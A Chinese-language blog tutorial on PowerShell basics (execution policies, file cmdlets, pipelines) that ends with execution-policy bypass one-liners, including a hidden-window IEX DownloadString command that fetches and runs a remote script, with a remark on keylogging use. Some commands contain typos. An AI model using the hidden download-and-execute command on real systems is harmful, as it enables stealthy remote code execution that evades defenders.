文章作者 :HackerGu
文章来源 :
https://hackergu.com/
PowerShell是一种命令行外壳程序和脚本环境,它置于Windows7/Windows Server2008 R2及以上更高的版本中。它可以执行Linux系统下的一些命令,这是非常强大的一点。它的脚本后缀为(.ps1),可在磁盘中执行,也可无需写入磁盘直接在内存中运行。
1、Windows7以上的操作系统默认安装。
2、PowerShell脚本可以运行在内存中,不需要写入磁盘。
3、可以从另一个系统中下载PowerShell脚本并执行。
4、目前很多工具都是基于PowerShell开发的。
5、很多安全软件并不能检测到PowerShell的活动。
6、cmd.exe通常会被阻止运行,但是PowerShell不会。
7、可以用来管理活动目录。
使用命令查看PowerShell版本:
Get-Host
或者$PSVersionTable.PSVERSION
经测试,PowerShell不区分大小写:
PowerShell脚本就是一个简单的脚本文件,包含了一系列的PowerShell命令,每个命令显示为独立的一行。PS脚本文件的后缀为(.ps1)。
为了防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,执行策略被设为受限。
使用命令确定当前的执行策略:
Get-ExecutionPolicy
因为之前我在本机上没有执行过PowerShell的任何脚本,所以PS的执行策略为默认设置即受限(Restricted)。
PowerShell具有四种执行策略分别为:
1、Restricted:脚本不能运行(默认设置)。
2、RemoteSigned:本地创建的脚本可运行,网上下载的带数字证书签名的脚本可运行。
3、AllSigned:仅当脚本由受信任的发布者签名时才能运行。
4、Unrestricted:允许所有的脚本运行。
使用命令设置PowerShell的执行策略:
Set-ExecutionPolicy <policy name>
将执行策略设置为允许所有脚本运行:
Set-ExecutionPolicy Unrestricted
第一次执行爆红了,提示我们需要以管理员身份运行PowerShell,所以修改执行策略的时候需要管理员身份。
以管理员的身份进行修改就ok了。
再次查看执行策略,策略被修改:
运行PS脚本,必须键入完整的路径和文件名,例如C:\Scripts\a.ps1
若此PS脚本恰好在刚好位于当前处在的目录中,可以直接在脚本名前加.\
以运行脚本,例如.\a.ps1
。
管道的作用是将一个命令的输出作为另一个命令的输入,以符号|
连接。
get-process p*
的意思是获取以”p”字符开头的程序
get-process p* | stop-process
则是关掉以”p”字符开头的程序。
PS的命令都采用”动词+名词”的形式。
关于文件操作的命令:
1、新建目录:md test1
——MD函数,它内部调用的是New-Item命令,指定参数–type的值为Directory
new-item test2.txt -type directory
2、新建文件
new-item test.txt -type file
3、删除目录
remove-item test1
4、显示文本的内容
get-content test.txt
5、设置文本的内容
set-content test.txt -value "again Hello World!"
在这里看出,如果本来文件中有内容,但使用此命令,原来的内容就会消失,等于重置。
6、追加内容
add-content test.txt -value "今天是情人节!"
可以看到追加的内容,追加在下一行。
7、清除内容
clear-content test.txt
可以看到内容被清除。
1、绕过本地权限执行
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
2、本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File xxx.ps1
3、用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
ExecutionPolicy Bypass
绕过执行安全策略
WindowStyle Hidden
隐藏窗口
NoProfile
PowerShell控制台不加载当前用户的配置文件
NolLogo
启动不显示版权标志的PowerShell
Nonlnteractive
非交互模式,PowerShell不为用户提供交互的提示
Noexit
执行后不退出shell(常用于键盘记录)
侵权请私聊公众号删文